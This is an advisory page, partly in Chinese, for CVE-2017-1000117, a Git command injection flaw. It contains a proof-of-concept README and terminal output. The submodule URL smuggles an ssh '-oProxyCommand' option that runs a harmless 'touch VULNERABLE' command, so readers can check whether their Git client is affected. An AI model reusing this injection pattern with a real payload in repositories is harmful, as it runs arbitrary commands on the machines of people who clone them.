关联漏洞
标题:
Git 命令注入漏洞
(CVE-2017-1000117)
描述:Git是美国软件开发者林纳斯-托瓦兹(Linus Torvalds)所研发的一套免费、开源的分布式版本控制系统。 Git 2.7.5之前的版本中存在命令漏洞。远程攻击者可借助特制的‘ssh://...’URL利用该漏洞运行任意设备已退出的程序。
描述
Proof of concept of CVE-2017-1000117
介绍
CVE-2017-1000117
--
This module can be used to test whether you are vulnerable to CVE-2017-1000117
```
git clone https://github.com/timwr/CVE-2017-1000117.git --recurse-submodules
ls CVE-2017-1000117
```
Output if you are vulnerable:
```
$ git clone https://github.com/timwr/CVE-2017-1000117.git --recurse-submodules
Cloning into 'CVE-2017-1000117'...
remote: Counting objects: 4, done.
remote: Compressing objects: 100% (4/4), done.
remote: Total 4 (delta 0), reused 4 (delta 0), pack-reused 0
Unpacking objects: 100% (4/4), done.
Submodule 'test' (ssh://-oProxyCommand=touch VULNERABLE/git@github.com:/timwr/test.git) registered for path 'test'
Cloning into './CVE-2017-1000117/test'...
Pseudo-terminal will not be allocated because stdin is not a terminal.
ssh_exchange_identification: Connection closed by remote host
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
fatal: clone of 'ssh://-oProxyCommand=touch VULNERABLE/git@github.com:/timwr/test.git' into submodule path './CVE-2017-1000117/test' failed
Failed to clone 'test'. Retry scheduled
Cloning into './CVE-2017-1000117/test'...
Pseudo-terminal will not be allocated because stdin is not a terminal.
ssh_exchange_identification: Connection closed by remote host
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
fatal: clone of 'ssh://-oProxyCommand=touch VULNERABLE/git@github.com:/timwr/test.git' into submodule path './CVE-2017-1000117/test' failed
Failed to clone 'test' a second time, aborting
$ ls CVE-2017-1000117
README.md VULNERABLE
```
If you see VULNERABLE then you are vulnerable and need to update your git client
文件快照
[4.0K] /data/pocs/901372142e0e565f7422e3351eb92ad5ac4d5ad1
├── [1.7K] README.md
└── [4.0K] test
1 directory, 1 file
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